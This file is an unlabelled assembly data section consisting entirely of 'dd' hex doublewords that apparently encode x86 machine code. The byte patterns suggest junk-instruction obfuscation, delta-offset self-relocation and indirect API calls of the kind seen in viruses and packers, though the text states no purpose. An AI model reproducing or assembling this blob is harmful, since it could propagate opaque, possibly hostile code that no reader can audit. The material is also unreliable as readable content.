		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 0EA2A08C3h, 77E6DE3Ah, 0F814B0Ah, 482h, 3EBB6600h, 0FD9D31D8h
		dd 5006030Fh, 7E8h, 0D26A1B00h,	5C9BA663h, 0FE8h, 51E01F00h
		dd 84299219h, 0C3F4D90Eh, 14C45685h, 5B5F5F51h,	33243489h
		dd 313EDBDh, 34B5FF06h,	6A0606A7h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 4B84C351h
		dd 0B70F60ABh, 8E9D1h, 2CD30000h, 0E366E0DEh, 0F961E388h
		dd 66195FFh, 6A0603h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 9543C3C3h, 0B5FF2C4Ch, 606A734h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0B9C35343h
		dd 1F6C1A3Ch, 0F1080A22h, 0E195FFB7h, 8906030Ah, 323499Dh
		dd 8DBD8306h, 2060321h,	34840Fh, 9D8B0000h, 60326CDh, 1FD858Bh
		dd 6A0603h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 598B1AC3h, 58A516DDh, 0C6FC53h, 85C7F500h
		dd 60330B9h, 0
		dd 0E9DBBF0Fh, 0FFFFF2AEh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 19C35747h, 0A5CBBB62h, 0C18B1419h, 858DD98Bh
		dd 6032811h, 24048950h,	2820Fh,	0DAB70000h, 6A006Ah, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 6AB3EDC3h, 0BF6610DAh, 6AC2DAh, 1ADD9D89h, 880F0603h
		dd 6, 28A9B589h, 858D0603h, 6079866h, 0F05C083h, 0F90FFB7h
		dd 8Eh,	66515000h, 905FF98Bh, 6AD6B3h, 0D98B006Ah, 0CC995FFh
		dd 6A0603h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 6676A9C3h, 0A8B7DF81h, 97478D8Dh,	0B5010606h
		dd 6032AB5h, 8D31D1FFh,	6032CCDh, 1E91BD83h, 0F010603h
		dd 5985h, 0E222BF00h, 26A7351h,	0FB8B6650h, 6A240489h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 21D1C357h, 0D381664Dh, 95FFF003h,	6031CB1h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0A1C35141h
		dd 975B589h, 0BDE90603h, 0E800000Ch, 0
		dd 70ED815Dh, 0F060798h, 2E89h,	14E800h, 83DA0000h, 94B9DD3Ah
		dd 252D904h, 0C6A2DA8Ch, 963FECB0h, 0EE89625h, 26000000h
		dd 0DFDC6683h, 1F66C498h, 0CEADEB7Ch, 6A5B5BAEh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 0A8E4C357h, 0DB589D9h, 8D06032Ah, 6888985h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 673E8F0Bh, 7800D638h, 8B90EEB0h, 8E950D8h, 31000000h
		dd 7E96D646h, 904C6380h, 5979BB52h, 645F3F00h, 35FFh, 9E90000h
		dd 0C2000000h, 18DDD3h,	27ED122Ah, 258964h, 66000000h
		dd 0C963D781h, 2A1585FFh, 6A0603h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 0AC0479C3h, 0FB13DC8h
		dd 68Dh, 0F1952900h, 6A06030Bh,	51006AFFh, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 0E7816644h
		dd 0B5FFB867h, 6032221h, 0C870Fh, 890F0000h, 6,	1FA1BD01h
		dd 95FF0603h, 6032015h,	13CE9h,	24E78100h, 0B0606353h
		dd 0C820F00h, 0E9000000h, 7, 0B1A3EC54h, 0E96BBCF7h, 0Eh
		dd 0D6223FDh, 801F1A61h, 7F9D937Ah, 70E6C236h, 0B99DBF66h
		dd 0BD8B71E4h, 6030A31h, 830F613Ch, 0F9h, 0EED38056h, 0C8B60F5Bh
		dd 31859D29h, 6BA0603h,	8B000000h, 32901BDh, 0FC18B06h
		dd 0C83h, 6890F00h, 0B000000h, 324DDBDh, 4E8C106h, 23B1B531h
		dd 0F7660603h, 68C0FE2h, 8B000000h, 32301BDh, 89C82B06h
		dd 32CE195h, 0FD18B06h,	0BE9DEBFh, 0F000000h, 58Dh, 4DD7BB00h
		dd 858B3B05h, 6032551h,	0A43DD781h, 0C083449Bh,	0F8B70F07h
		dd 8100C083h, 9C1E58F7h, 7E834h, 9FA30000h, 0A64BD1E0h
		dd 99D8B33h, 5F06030Fh,	830FD03Bh, 22h,	81958957h, 5B06032Ah
		dd 54E9h, 0DE800h, 960A0000h, 0EDE7F23Ah, 0B5D503EAh, 8BCA603Bh
		dd 8D8B5BF8h, 60305BDh,	17598D89h, 0E1830603h, 2A840F01h
		dd 60000000h, 68B0Fh, 95330000h, 60323C9h, 0A2E28166h
		dd 0A58361F4h, 60305BDh, 0DE8B66FEh, 25519589h,	0FB8B0603h
		dd 0E9h, 63B58D00h, 6A060703h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 619CC356h, 0BBAB919Bh
		dd 0E1F855FFh, 6AF88B66h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 29853425h
		dd 31E5DBDh, 0B995FF06h, 6A06031Fh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0DC5EC352h
		dd 12E957h, 77C10000h, 0F8AA31FFh, 0D19653CCh, 11C11FA1h
		dd 4781D567h, 93DB9h, 0D9BF0F00h, 6AFCE183h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 92BCC356h, 3870FAEh,	0F000000h, 6AFCF9BFh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 0CE16C353h, 0B8FC61h, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 8EE7C353h
		dd 36D02488h, 24D58589h, 0D22B0603h, 0ACD9D8Bh,	0BD310603h
		dd 6030281h, 0D1C233ADh, 83D003E8h, 0F47504E9h,	23899509h
		dd 8D0F0603h, 6, 2DBDB589h, 880D0603h, 8B000000h, 312E99Dh
		dd 0D1958B06h, 6A060331h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 67CDC351h, 2958D701h
		dd 303F985h, 0E18D8B06h, 0E8060301h, 5,	0E8159E20h, 15BD8BB8h
		dd 5B060323h, 8BC28B50h, 8BC10318h, 0D1C18B18h,	8BC203E8h
		dd 0AE95818h, 0A3000000h, 6B673768h, 0E4FD8098h, 0BD83F539h
		dd 6031D65h, 61840F00h,	6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0ED96C355h
		dd 623DAB63h, 0E2DD4D17h, 1D85BD89h, 0B8F80603h, 0
		dd 24E1BD8Bh, 8D8D0603h, 6034D1Ch, 9DC38166h, 0E8E1FF6Dh
		dd 14h,	5D0A1959h, 76426778h, 4792F7D7h, 0B656270Bh, 4181C7AAh
		dd 5FDF8B66h, 21BDBD83h, 0F000603h, 41184h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 0DB7AF828h, 75DD9E18h, 0BD83F94Ah, 60321BDh,	0FA840F01h
		dd 6A000003h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 95CEC353h, 3A4436A9h, 0F9086468h
		dd 1F959D8Bh, 14E90603h, 0CA000000h, 0ADB25049h, 3D6CDEFh
		dd 4FF1B061h, 0A19CC92Fh, 83B574FCh, 321BDBDh, 860F0306h
		dd 373h, 41A9C9BBh, 6A6074h, 3E856h, 5E200000h,	74895EC3h
		dd 44810424h, 140424h, 56460000h, 8C66A2C3h, 8012B7D9h
		dd 6A04E1h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
		dd 56460000h, 0A2864CC3h, 0A3C9ECFAh, 66AE7EFCh, 0EC25CB81h
		dd 840FC90Ah, 0A0h, 858B14B3h, 60313C1h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 19h, 51C35141h, 45AABCA8h
		dd 0E9BD03CEh, 3306030Ah, 31C7985h, 0D98D3106h,	8B06030Ah
		dd 31E9D9Dh, 0EE85006h,	0F2000000h, 50F47834h, 46E715F7h
		dd 6F61A8BCh, 53E7BFE0h, 895B1889h, 81662404h, 6AC42DE7h
		dd 0B70F6000h, 0DCB552F9h, 0E686159h, 0F108F59h, 28Eh
		dd 81DA8B00h, 5AF12434h, 0A7B31090h, 140595FFh,	85890603h
		dd 606A734h, 2419D2Bh, 0C9E90603h, 66000001h, 0AB90F381h
		dd 0A72C858Bh, 8D010606h, 60301C9h, 1800C7h, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 67702C3h, 0F8024625h, 0FE8F4h, 0FE630000h, 6BE5E399h
		dd 0FE77466h, 8B746AADh, 0D9BF0F23h, 30B58B5Fh,	6A0606A7h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 3694C352h, 128D858Bh, 6890603h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 56C35747h, 81C7AAB6h
		dd 8B5A5241h, 31F1D9Dh,	0C1858B06h, 6A060313h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 0E9C7C353h, 6, 2ECB2266h, 4689EA81h,	50006A04h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h
		dd 7E897EEh, 93000000h,	0F25009B5h, 0B531A035h,	6032DB5h
		dd 9D95895Fh, 5006030Fh, 0CCB3FBBFh, 2434892Ch,	88D38150h
		dd 5F748A61h, 0A72CB5FFh, 9D8B0606h, 6032E49h, 804468F8h
		dd 481F065h, 0B983BB24h, 34858D0Fh, 6A0606A7h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 1107C351h, 8166D8CDh, 0BB954EBh, 30A31BDh, 0FE95006h
		dd 0FF000000h, 28ACE45Ah, 6F8B00BFh, 0BF590DEAh, 489BF0Bh
		dd 0B5BF6624h, 595FFF3h, 6A060314h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0EDB3C351h
		dd 0E88D37DEh, 12h, 0A9D51FD5h,	17FB6C76h, 0D00BC22Ch
		dd 69FF5F37h, 8B662AE7h, 0BD8B5BF9h, 6030929h, 57006A61h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 569968E5h, 1DDBD8Bh,	895B0603h, 31CC585h, 0BD85C706h
		dd 3060321h, 6A000000h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 40FCC353h, 0BD9D8B51h
		dd 5F060323h, 0A734BD83h, 0F000606h, 4A84h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 0AFC6F8Dh, 3FE9C9C2h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 7127C356h
		dd 72C3EBCAh, 50AA99C7h, 110C30h, 0C1011144h, 443010E8h
		dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh,	64001104h
		dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
		dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h,	4300111h
		dd 4E98311h, 0EBE775h, 0DEBBC08Bh, 811D4448h, 3B649EEBh
		dd 83F88B3Fh, 321BDBDh,	850F0306h, 38Dh, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 18h, 3C35747h, 71A0D7D9h
		dd 207D9D8Bh, 0BD830603h, 606A734h, 5A840F00h, 0BB000003h
		dd 2B123B13h, 0A734B5FFh, 8B600606h, 3247985h, 6850F06h
		dd 89000000h, 317ADB5h,	95FF6106h, 6032E05h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0BCC35343h, 73FA7384h
		dd 89DA8B66h, 30F0DBDh,	28B58B06h, 6A0606A7h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 0D807C352h, 0C7B5F0F4h, 1000106h, 57006A00h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 50CF78F5h
		dd 3A0EBF52h, 895F2BB1h, 8B662434h, 34B5FFFAh, 6A0606A7h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 3153C355h, 95FFC856h, 6032F19h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0ECC35343h, 13B9125Eh
		dd 0A99D8BB4h, 8B060321h, 6A728B5h, 8D9D8B06h, 8B06031Eh
		dd 3311D85h, 0D99D8B06h, 8906031Fh, 0C486h, 8D2B6000h
		dd 6030A9Dh, 617CC380h,	31D1958Bh, 6A0603h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 70A72EC3h
		dd 3108CA7Ch, 0BF8F597Dh, 4E35C177h, 5E9h, 0B3295B00h
		dd 0C283F2E6h, 0FB8B6604h, 8B205089h, 0F3858DDFh, 8B0606BBh
		dd 322D99Dh, 0B8868906h, 0B000000h, 31B459Dh, 6A006A06h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 297EC353h, 0D1FCAC18h, 0FDA8B66h,	0B5FFDAB7h
		dd 606A734h, 258D2951h,	5B060312h, 1CB195FFh, 6A0603h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 0BE5C3C3h, 85B1218Dh, 870FF06Ch, 5, 0E36256BFh, 0DF8B9655h
		dd 2DBF6650h, 6A962Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 8BC619C3h, 31BC19Dh, 34B5FF06h
		dd 6A0606A7h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 870FC350h, 0BF770107h,	559D8BF5h
		dd 0FF060331h, 3116595h, 8391B706h, 31795BDh, 840F0006h
		dd 4Bh,	0E996E9B3h, 9, 2B7136BCh, 0E56A8495h, 6660504Ch
		dd 6660DA8Bh, 0FE9F0B8h, 8Fh, 96616100h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Ah, 9DC35242h, 6D3D4CB4h
		dd 0CBBF9AC7h, 0FF390287h, 6A734B5h, 0D8BF0F06h, 66195FFh
		dd 0B5FF0603h, 606A734h, 0FFFEB70Fh, 30AE195h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 153BA8A6h, 286274C3h, 419D3105h, 83060311h, 3218DBDh
		dd 840F0206h, 53h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 17h, 5C35343h, 809C0363h, 858B41D7h, 60301FDh
		dd 21C1BD8Bh, 0C60603h,	52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 602B8637h, 0C7F98B66h, 330B985h, 6, 78BB6600h, 0F465E90Ah
		dd 5F51FFFFh, 6AC18Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 0BD09EBC3h, 60321E9h, 2811858Dh
		dd 0AE90603h, 0E1000000h, 966C438Ch, 0BD939A44h, 6E950ECh
		dd 0D0000000h, 0D9BBDh,	240489C9h, 12E8h, 416A0800h, 3B8311E5h
		dd 1B4F3D26h, 0D4EAA441h, 0F7EB556h, 68Bh, 850F00h, 5F000000h
		dd 0CE8h, 0F6B1A000h, 2131840Ah, 0F4825CADh, 0A5853132h
		dd 5B060304h, 0FE9006Ah, 0AA000000h, 0B9D33E63h, 72C4E4F2h
		dd 37B66D52h, 6A0DF5h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 16h, 0B0C35040h, 9D09608Ch, 6031C5Dh, 0A700858Dh
		dd 0AE90607h, 7E000000h, 57657EF5h, 0A244A0Eh, 5C0837Ah
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 66C35242h
		dd 0A96D57AAh, 0F995893Eh, 50060329h, 0E8240489h, 6, 39B7531Bh
		dd 0BD8BB6DDh, 6032381h, 6A006A5Fh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 1B2C350h
		dd 0E8B47874h, 13h, 0A567216Bh,	2FC6EBDFh, 0D3862FA6h
		dd 71BBD581h, 0B7751C36h, 6A5B72h, 1FFDBD01h, 95FF0603h
		dd 6030CC9h, 2C9D9589h,	8D8D0603h, 6069747h, 0B3DBD09h
		dd 0D1FF0603h, 0EA09D781h, 0BD8319D9h, 6031E91h, 75850F01h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 6653C357h, 9D03512Ch, 6031CD9h
		dd 0BB026A5Bh, 443FDB1Bh, 0BF665090h, 6A90D5D9h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 0E9FAC350h, 11h, 6BDE798Fh, 3289A5C1h, 0F3E2585Eh, 0B7D4B16Eh
		dd 959D8B80h, 0FF06031Bh, 31CB195h, 0FA8B6606h,	0EBFE9h
		dd 0E800h, 815D0000h, 7A70AEDh,	698D8906h, 89060304h, 3108D85h
		dd 89858D06h, 51060688h, 81BB505Fh, 8906F62Bh, 6A2404h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 9860F9C3h, 0BD1E565Fh, 12E9h, 568E2D00h, 53856EBFh
		dd 51A10BF9h, 0EE2B14E8h, 6430176Fh, 35FFh, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 0EEA11EC3h, 81663CC5h, 640541E3h, 2589h, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 0D2AA53C3h, 85FFBFA3h, 6032A15h, 52FEBF0Fh, 0BF79D1BBh
		dd 0FF6A5B06h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 18h,	5C35040h, 0B987E1EEh, 860F6060h, 0
		dd 61F2BF0Fh, 12E9h, 0E6AA9F00h, 3380AE1Bh, 12AD67D9h
		dd 0B6A0A626h, 619A9C0Ch, 21D9B5FFh, 0BD890603h, 6030259h
		dd 3F99D29h, 95FF0603h,	6032015h, 132E9h, 1850F00h, 0F9000000h
		dd 816600B0h, 0E6FB1DD7h, 9119BF70h, 9D8B28A7h,	6031299h
		dd 3CF871E4h, 0C830F61h, 8B000001h, 30A219Dh, 0C8B60F06h
		dd 0BADBBF0Fh, 6, 7F86F781h, 7E94E00h, 99000000h, 832E3D3Fh
		dd 0C18B292Eh, 0C9BD8B60h, 0B2060308h, 0E8C161C5h, 0B2F38104h
		dd 663A64EAh, 11E9E2F7h, 0FB000000h, 0BC22C17h,	0FF5F37D0h
		dd 0F2AE769h, 0FC695236h, 0EE8C82Bh, 0A8000000h, 0BFAA5E34h
		dd 91E05F92h, 0EA9C7C22h, 0BD8B521Ch, 6031301h,	0D18B5B5Bh
		dd 5E9h, 0C7816600h, 858B57CCh,	6031959h, 0C319D89h, 0C0830603h
		dd 6840F07h, 8B000000h,	326DDBDh, 0C08306h, 32719D89h
		dd 0D03B0603h, 11830Fh,	9D330000h, 603250Dh, 5AE9h, 0B18D3100h
		dd 8B060305h, 3214D8Dh,	0C9BD2906h, 83060310h, 840F01E1h
		dd 3Fh,	0F1E78166h, 4DA5835Dh, 0FE060321h, 3830Fh, 0E7800000h
		dd 9DBD0BFDh, 8906030Ah, 3195995h, 0BE806h, 64DA0000h
		dd 96593272h, 1517FA4Fh, 2840F87h, 8B000000h, 0E95BDAh
		dd 8D000000h, 70E43B5h,	0DB816606h, 81661D0Ah, 6ABEA7C3h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 0F1FC718h, 682h,	9BD3100h, 0FF06032Ah, 31FB995h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 0AC44508Bh, 0B0CF308h, 0BFCF8166h, 800B985h
		dd 850F0000h, 6, 0C79BD8Bh, 0E1830603h,	0F58501FCh, 0FC060326h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0E0C35040h
		dd 589EAD3Bh, 4B25BD22h, 19BD8BAAh, 0F060328h, 881h, 9D8B5300h
		dd 60326CDh, 6AC02B5Fh,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 0D889C356h,	9F589156h
		dd 1CDB8166h, 6AD22B05h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 0A94C357h, 2317184Ah
		dd 320497BCh, 66F88B60h, 0AD61D88Bh, 0E8D1C233h, 0E983D003h
		dd 6AF47504h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 8E96C356h, 0E8F3D589h,	0Fh, 241A043Fh
		dd 5CB8DB5Ah, 3A63863Fh, 8BFB4DBDh, 31035BDh, 0B4B75B06h
		dd 0EFE38166h, 55006A72h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 858B60B8h, 6031BF1h, 880D61h
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 4791FFC3h, 0C2A9280h, 60A672B0h, 8B61D58Ah
		dd 331D195h, 52006A06h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 0E780E25Fh, 0B794BDCBh, 459D0BB4h
		dd 8B060313h, 320419Dh,	0E18D8B06h, 6A060301h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 8936C357h, 32E798Dh,	8A0F6006h, 6, 11B59529h, 50610603h
		dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h,	52006A58h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 0E646412Dh, 66A437AFh, 0FBFFF781h, 6ADBB70Fh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 1455C357h, 0D477406h, 7E02C474h, 0BD83AFB7h,	6031D65h
		dd 3B840F00h, 89000000h, 326519Dh, 0B806h, 0B70F0000h
		dd 1C8D8DFAh, 0FF06034Dh, 53006AE1h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 2999945Ch
		dd 1AD18D89h, 0BD830603h, 60321BDh, 0CA840F00h,	6A000004h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 7388C356h, 9A1BB2BEh, 9589C820h, 6030665h
		dd 21BDBD83h, 0F010603h, 4AF84h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 0F381C1B6h
		dd 28B32B46h, 21BDBD83h, 0F030603h, 44986h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 5C5053E6h, 359D0957h, 8B06032Ah, 6A60FBh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 378F7AC3h
		dd 0A05F5204h, 8C667269h, 12E9D9h, 3F050000h, 262B8CC9h
		dd 0ABEF1BADh, 768860C9h, 6D8D1F3Dh, 6A04E180h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 0DEAFC356h, 820Fh, 0B70F0000h, 0FC90AD9h, 13784h, 959D8B00h
		dd 8B06032Ch, 313C185h,	50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 29E6C909h, 314098Dh, 79853306h
		dd 6A06031Ch, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 0CEC9C352h, 5AFB5152h,	1D918D89h
		dd 0F900603h, 0A88h, 5E900h, 0E59E0000h, 50765F78h, 0BAB478BFh
		dd 6A904Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 4BC507C3h, 559D8B8Ah, 6A060332h, 0E8D88B00h
		dd 4, 1F03FFh, 800Fh, 8B500000h, 0E9042444h, 0Bh, 8FF6DCEFh
		dd 5D259773h, 8B605B39h, 89DE8B00h, 8A042444h, 95FF58F9h
		dd 6031405h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 18h,	0DEC35646h, 0B88C6892h,	0A7348589h, 6A0606h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 8E0FF2C3h, 5, 0C545C1BBh, 2985894Ch,	0E906031Ch, 226h
		dd 68B0Fh, 9D8B0000h, 6032FE9h,	0A72C858Bh, 6A0606h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 328CFAC3h, 0B54274E3h, 81662C42h, 0C72DB4EBh, 1800h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 2A2BE079h, 0E77BFAABh, 0EB800EDCh, 30B58B54h
		dd 0E80606A7h, 0Eh, 9DC1F3ABh, 96B0695h, 0AF06117Eh, 0BD8B9857h
		dd 60311F1h, 8D858B5Fh,	0E9060312h, 7, 0D274F3F0h, 0E936571Dh
		dd 0Ah,	0D58A2871h, 0A2B8076h, 689ACA7h, 0F1EF8166h, 0C1858B50h
		dd 6A060313h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 9A47C352h, 0CB0113B4h,	19466A47h
		dd 31C98589h, 46890603h, 53006A04h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1D04h, 0C3534300h, 0B6D54A79h, 3E6E562Fh
		dd 0B589C230h, 603038Dh, 13A98501h, 0BB500603h,	9A8F8C6h
		dd 6A243489h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 603DC356h, 0CAC985FCh,	9D017453h
		dd 6030FB9h, 9E28BCBFh,	2CB5FF1Ah, 6A0606A7h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 0C187C356h, 20796929h, 1C059D8Bh, 0FF680603h, 6080BD07h
		dd 8161D38Bh, 0FC002404h, 89BF7F61h, 8D61B855h,	6A73485h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 0BD8B0F5Fh, 60311FDh, 810F5150h,	16h, 11E9h
		dd 88E99400h, 0A69C1839h, 859DF1CEh, 6D96080h, 895F98A7h
		dd 6A2404h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 9D8B96C3h, 6030A29h, 140595FFh, 6A0603h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 0DA6918C3h, 345BD0Bh, 0E9610603h, 7,	45C334BBh, 0E81E934Dh
		dd 10h,	0F6E08E8Fh, 24752FEBh, 2E63DAEFh, 74422DC9h, 14E9h
		dd 0D6806B00h, 37716A58h, 424733C6h, 0A863FC16h, 70E30EEEh
		dd 85C75F18h, 60321BDh,	3, 1105BD8Bh, 0BD830603h, 606A734h
		dd 7840F00h, 0E9000000h, 1Dh, 3050FE8Bh, 4400110Ch, 0E8C10111h
		dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h
		dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h
		dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h
		dd 11043001h, 7504E983h, 8B00EBE7h, 52006AC0h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 0B782B194h
		dd 6880F6Eh, 89000000h,	32D1585h, 4ACF8106h, 833CAAEDh
		dd 321BDBDh, 850F0306h,	3EDh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 0C35747h, 0CB344314h, 487312C8h
		dd 12899D01h, 0B70F0603h, 34BD83FEh, 606A7h, 3B3840Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 0FFB6B8C3h, 6A734B5h, 95FFF906h, 6032E05h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0D6C35242h
		dd 8B855624h, 0EF3886B2h, 0A728B58Bh, 6A0606h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 0BF640C3h, 6C7E604h,	10001h,	1F4D9589h, 50960603h, 96D98B66h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0FAC35141h
